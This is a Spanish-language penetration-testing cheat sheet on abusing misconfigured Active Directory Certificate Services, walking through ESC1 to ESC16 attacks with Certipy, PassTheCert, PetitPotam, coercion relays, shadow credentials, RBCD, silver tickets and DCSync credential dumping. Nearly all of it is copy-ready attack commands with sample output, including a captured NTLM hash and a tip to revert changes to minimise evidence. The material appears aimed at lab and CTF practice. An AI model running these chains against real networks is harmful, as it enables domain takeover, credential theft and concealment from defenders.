Active Directory Certificate Services (ADCS)

Introduction to ADCS

ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.

Algunas de las posibles vulnerabilidades que puede tener ADCS son:

  1. Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.

  2. Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.

  3. NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.


Componentes principales:

  • CA (Certification Authority): Emite y gestiona certificados. Puede haber múltiples CAs en una jerarquía.

  • Certificate Templates: Definen la configuración, permisos y requisitos para emitir certificados.

  • CES (Certificate Enrollment Server): Permite renovar certificados mediante solicitudes HTTPS.

  • Certificate Enrollment Policy Web Server: Proporciona información sobre la política de inscripción de certificados.

  • CA Web Enrollment: Permite que hosts fuera del dominio o con otros sistemas operativos renueven certificados.

  • NDES (Network Device Enrollment Service): Permite a dispositivos de red obtener certificados sin conexión.


Formatos de certificados X.509:

  • PEM: Certificado DER codificado en base64; puede almacenar múltiples claves sin protección por contraseña.

  • DER: Certificado en formato binario crudo.

  • PFX/P12 (PKCS#12): Almacena claves privadas con protección por contraseña.

  • P7B (PKCS#7): Almacena certificados de cadena, pero no claves privadas.


Principales atributos de certificados:

  • Subject: Entidad a la que se emite el certificado.

  • Issuer: Normalmente la CA.

  • SAN: Nombre alternativo del sujeto.

  • Validity Period: Periodo de validez del certificado.

  • EKU (Extended Key Use): Define usos específicos del certificado.

  • OID (Object Identifier): Indica el propósito o escenario de uso del certificado.

OID

Uso del certificado

1.3.6.1.5.5.7.3.1

Autenticación de servidor

1.3.6.1.5.5.7.3.2

Autenticación de cliente

1.3.6.1.5.5.7.3.3

Firma de código

1.3.6.1.5.5.7.3.4

Correo electrónico seguro

Proceso de CSR (Certificate Signing Request):

  1. El cliente envía una solicitud de certificado (CSR).

  2. La CA verifica los permisos del cliente para emitir el certificado solicitado.

  3. Si los permisos coinciden, la CA genera y firma el certificado con su clave privada.

  4. El certificado firmado es devuelto al cliente.


Checking Misconfigured Templates

Herramienta que utilizaremos para la escalada de privilegios con los ADCS.

Para verificar si existen plantillas mal configuradas, las cuales podemos abusar, podemos hacer uso del siguiente comando para que nos lo muestre en la terminal.

certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

Ejemplo de cómo debería salirnos si existe una plantilla mal configurada en el ADCS que podemos intentar explotar. En este ejemplo, nos aparece que podemos realizar la explotación ESC7.


KDC_ERR_PADATA_TYPE_NOSUPP

Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.

KDC_ERR_PADATA_TYPE_NOSUPP

“…when a domain controller doesn’t have a certificate installed for smart cards…” is probably the most common reason for KDC_ERR_PADATA_TYPE_NOSUPP. If the DC doesn’t have a “Domain Controller”, “Domain Controller Authentication”, or another certificate with the Server Authentication EKU (OID 1.3.6.1.5.5.7.3.1) installed, the DC isn’t properly set up for PKINIT and authentication will fail.

Also, according to Microsoft, “This problem can happen because the wrong certification authority (CA) is being queried or the proper CA cannot be contacted in order to get Domain Controller or Domain Controller Authentication certificates for the domain controller.” At least in some cases we’ve been able to auth via PKINIT to a DC even when the CA is not reachable, so this situation may be hit and miss.

If you run into a situation where you can enroll in a vulnerable certificate template but the resulting certificate fails for Kerberos authentication, you can try authenticating to LDAP via SChannel using something like PassTheCert. You will only have LDAP access, but this should be enough if you have a certificate stating you’re a domain admin.

Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.

Como alternativa, podemos utilizar PassTheCert para autenticarnos a LDAP a través de SChannel con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio.

Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator. Para ello, utilizamos Certipy de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py para autentifcarnos con el certificado obtenido.

certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt

certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

Con PassTheCert, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami.

Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell con el parámetro -action ldap-shell.

python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10

Para ver varios ejemplos del uso de PassTheCert y de cómo logramos obtener acceso al sistema como el usuario Administrator podemos comprobar el siguiente blog.

ESC1

Domain Users Enrollment

Solicitud del certificado con SAN alternativo.

Probar el UPN como administrator@dominio.htb o sino administrator.

# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb

certipy-ad req -k -no-pass  -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htb

En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutarlo.

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb

Domain Computers (Machine Account)

En algunas ocasiones, es posible que exista la ESC1 pero solamente se pueda realizar a través de algún Domain Computer. En este resultado de adPEAS se comprueba que solamente los Domain Computers tienen permisos de enrollment sobre la plantilla vulnerable para realizar el ESC1.

[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'

Por lo tanto, hay que disponer de las credenciales de un equipo, que se pueden obtener de diversas maneras. En caso de que podemos añadir nuevas máquinas al dominio, podemos realizar lo siguiente a través de la herramienta de PowerView.py.

powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10

PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123

Una vez dispongamos de acceso a autenticarnos como un Domain Computer, realizaremos el ataque. Sustituir Gzzcoo$ por el nombre del PC y la contraseña Gzzcoo123 por la correspondiente.

certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10

certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htb

ESC2

Solicitud del certificado con SAN alternativo.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user

Autenticación con certificado.

certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htb

Verificación.

KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass 

ESC3

Solicitar un certificado.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htb

Solicitar un certificando suplantando al Administrator.

certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx

ESC4

En caso de recibir error de The NETBIOS connection with de remote host timed out, probar de nuevo a ejecutar los comandos.

Atacando a la plantilla vulnerable a ESC4.

# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb

Verificar plantilla ESC4 después de la modificación.

# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout

Abusando de la plantilla modificada.

# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htb

Recuperando el hash NTLM del usuario Administrator.

certipy-ad auth -pfx administrator.pfx -domain domain.htb

Volviendo la plantilla ESC4 al estado original.

# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json

# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json

# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htb

ESC5

Solicitar el certificado del Domain Admin.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator

Emitir el certificado solicitado.

En este caso, aprobamos la solicitud anterior especificando el ID de la solicitud con la opción -issue-request 10.

certipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10

Recuperar el certificado emitido.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10

Autenticarse con el certificado del Administrator.

certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcp

ESC6

Solicitud de certificado con UPN alternativo, en este caso, el usuario Administrator.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htb

ESC7

Requisitos previos

Para que esta técnica funcione, el usuario también debe tener el derecho de acceso Administrar certificados y la plantilla de certificado SubCA debe estar habilitada. Con el derecho de acceso Administrar CA, podemos cumplir con estos requisitos previos.

La técnica se basa en el hecho de que los usuarios con el derecho de acceso Administrar CA y Administrar certificados pueden emitir solicitudes de certificado fallidas. La plantilla de certificado SubCA es vulnerable a ESC1, pero solo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA (que será denegada) pero luego el administrador la emitirá.

Si solo tiene el derecho de acceso Administrar CA, puede otorgarse el derecho de acceso Administrar certificados agregando a su usuario como un nuevo funcionario.

certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'

La plantilla SubCA se puede habilitar en la CA con el parámetro -enable-template. De manera predeterminada, la plantilla SubCA está habilitada.

certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'

Ataque

Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar solicitando un certificado basado en la plantilla SubCA.

Esta solicitud será rechazada, pero guardaremos la clave privada y anotaremos el ID de la solicitud.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htb

Con Administrar CA y Administrar certificados, podemos emitir la solicitud de certificado fallida con el comando ca y el parámetro -issue-request.

certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'

Y finalmente, podemos recuperar el certificado emitido con el comando req y el parámetro -retrieve . Obtenemos el certificado del Administrator.

certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>

ESC8

Certipy relay

certipy-ad relay -target <adcs_ip> -template <machine_template>

Realizar la Autenticación Coercion (desde otra terminal)

Esto nos dará el certificado y la clave privada del usuario.

coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -v

Solicitar un TGT como máquina de equipo (o Domain Controller)

certipy-ad auth -pfx machine_account.pfx

Esto nos dará el hash NTLM del usuario, que podemos usar para autenticarnos.

Dependiendo de la situación, ahora tenemos 2 ataques posibles...

DCSync (si disponemos de permisos de Administradores del dominio)

Realizando DCSync Attack utilizando el hash NTLM como Domain Controller.

impacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10

Silver Ticket (utilizando el hash NTLM de una cuenta de equipo)

Creación del Silver Ticket

impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> Administrator

Realizando PassTheTicket con PsExec

KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htb

ESC9

Requisitos:

  • GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC9.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Utilizamos Certipy para actualizar el UPN de la cuenta 'victim', asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a 'victim' con la identidad de Administrator:

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administrator

Solicitamos un certificado utilizando la plantilla vulnerable. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados.

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>

Posteriormente, restauramos el UPN de 'victim' a su valor original para minimizar evidencias de la modificación realizada.

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".

certipy-ad auth -pfx administrator.pfx -domain dominio.htb

ESC10

Caso 1

Requisitos:

  • GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.

En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC10.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Modificar el UPN del usuario 'victim' al usuario Administrator.

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administrator

Solicitud del certificado.

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

Revertiremos los cambios del usuario 'victim' (para asegurarse de que solo el administrador coincida con el certificado)

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Autenticarse como usuario Administrator.

certipy-ad auth -pfx administrator.pfx -domain dominio.htb

Caso 2

Requisitos:

  • GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B sin que disponga un userPrincipalName (cuentas de máquina y administrador de dominio integrado Administrador.

En este caso 'hacker' dispone de los privilegios sobre 'victim' y deseamos comprometer el Domain Controller DC$@domain.htb.

Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.

certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim

Modificamos el UPN del usuario 'victim' a 'DC$@dominio.htb'.

certipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'

Solicitamos un certificado como 'victim' para obtener el certificado del Domain Controller (DC).

certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>

Revertir los cambios de 'victim' (para asegurarse de que solo el administrador coincida con el certificado).

certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb

Autenticación con el certificado del DC.

certipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shell

Creación de una nueva cuenta de equipo.

add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$

Abusar de RBCD (Resource Based Constrained Delegation) para impersonar al Administrator.

impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>

Autenticarse utilizando el TGT del usuario Administrator.

KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass 

ESC11

Configuramos el relay

certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

Autenticación Coerce con PetitPotam

python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>

Certipy recibe autenticación del DC de AD

certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController

A continuación, se deberá realizarlos pasos del ESC8


ESC12


ESC13

Desde sistemas tipo UNIX, esta solicitud de extracción en Certipy (Python) permite identificar una plantilla de certificado con una política de emisión, es decir, con la propiedad msPKI-Certificate-Policy no vacía. Además, verifica si esta política de emisión tiene un enlace de grupo OID a un grupo en la propiedad msDS-OIDToGroupLink.

certipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'

Si se encuentra una plantilla vulnerable, no hay ningún requisito de emisión particular, el principal puede inscribirse y la plantilla indica el EKU de autenticación del cliente; solicite un certificado para esta plantilla con Certipy (Python) como de costumbre:

certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'

Luego, el certificado se puede usar con Pass-the-Certificate para obtener un TGT y autenticarse como el principal controlado, pero con sus privilegios agregados a los del grupo vinculado.


ESC14

Scenario A: Write altSecurityIdentities on Target

Comprobar que con el usuario (userA) tengamos permisos de escritura en el atributo altSecurityIdentities en el usuario TARGET (userB).

❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
url: WRITE
wWWHomePage: WRITE

distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb

...[SNIP]...

distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
altSecurityIdentities: WRITE

Crearemos un nuevo Domain Computer.

❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
[2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
[2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]

Autenticamos con el Domain Computer recién creado para obtener su PFX.

❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'gzzcoo.pfx'

Obtener el .crt del certificado PFX del Domain Computer recién creado.

❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and  to 'gzzcoo.crt'

Script para obtener el X509 a travésdel issuer y el serial.

x509.py
import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend

def format_serial_le(serial_int):
    hex_serial = format(serial_int, 'x').zfill(2)
    if len(hex_serial) % 2 != 0:
        hex_serial = '0' + hex_serial
    bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
    return ''.join(reversed(bytes_pairs))

def parse_issuer(cert):
    oid_map = {
        'commonName': 'CN',
        'countryName': 'C',
        'organizationName': 'O',
        'organizationalUnitName': 'OU',
        'stateOrProvinceName': 'ST',
        'localityName': 'L',
        'domainComponent': 'DC'
    }

    issuer = cert.issuer
    issuer_parts = []
    for attribute in issuer:
        oid = attribute.oid._name
        key = oid_map.get(oid, oid)
        value = attribute.value
        issuer_parts.append(f"{key}={value}")
    return ",".join(issuer_parts)

def get_cert_info(path):
    with open(path, 'rb') as f:
        data = f.read()

    if path.endswith('.pfx'):
        private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
    else:
        cert = x509.load_pem_x509_certificate(data, backend=default_backend())

    serial_le = format_serial_le(cert.serial_number)
    issuer = parse_issuer(cert)

    print(f"X509:<I>{issuer}<SR>{serial_le}")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Uso: python3 x509.py file.pfx|file.crt")
        sys.exit(1)
    get_cert_info(sys.argv[1])

Resultado obtenido al ejecutar el script.

❯ python3 x509.py gzzcoo.pfx
X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062

Modificamos el atributo altSecurityIdentities del userB a través del userA ya que disponemos de permisos y le asignamos el valor X509 anteriormente obtenido.

❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
[+] userB's altSecurityIdentities has been updated

Una vez modificado, nos autenticamos con el PFX del Domain Computer creado impersonando al userB, obtenemos su hash NTLM y su TGT (.ccache).

❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
Do you want to continue? (Y/n) Y
[*] Using principal: userB@gzzcoo.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'userB.ccache'
[*] Trying to retrieve NT hash for 'userB'
[*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0

ESC15


ESC16

certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout

Output:

Certificate Authorities
  0
    CA Name                             : CORP-CA
    DNS Name                            : CA.CORP.LOCAL
    ...
    Request Disposition                 : Issue
    ...
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    ...
    Permissions
      Access Rights
        ...
        Enroll                          : CORP.LOCAL\Authenticated Users
    [+] User Enrollable Principals      : CORP.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.

Scenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a "victim" account's UPN)

# Step 1: Read initial UPN of the victim account (Optional - for restoration).

certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' read

Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.

certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update

Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).

En caso de disponer de las credenciales de victim, pasar directamente al paso 4.

certipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'

Step 4: Request a certificate as the "victim" user from any suitable client authentication template (e.g., "User") on the ESC16-vulnerable CA.

En caso de haber realizado el Shadow Credentials (Step 3) realizar los siguientes pasos.

export KRB5CCNAME=$(pwd)/victim.ccache
certipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'

En caso de disponer de las credenciales de victim y no haber realizado el Step 3, realizar lo siguiente:

certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'

Step 5: Revert the "victim" account's UPN.

certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update

Step 6: Authenticate as the target administrator.

certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'

References

Última actualización

¿Te fue útil?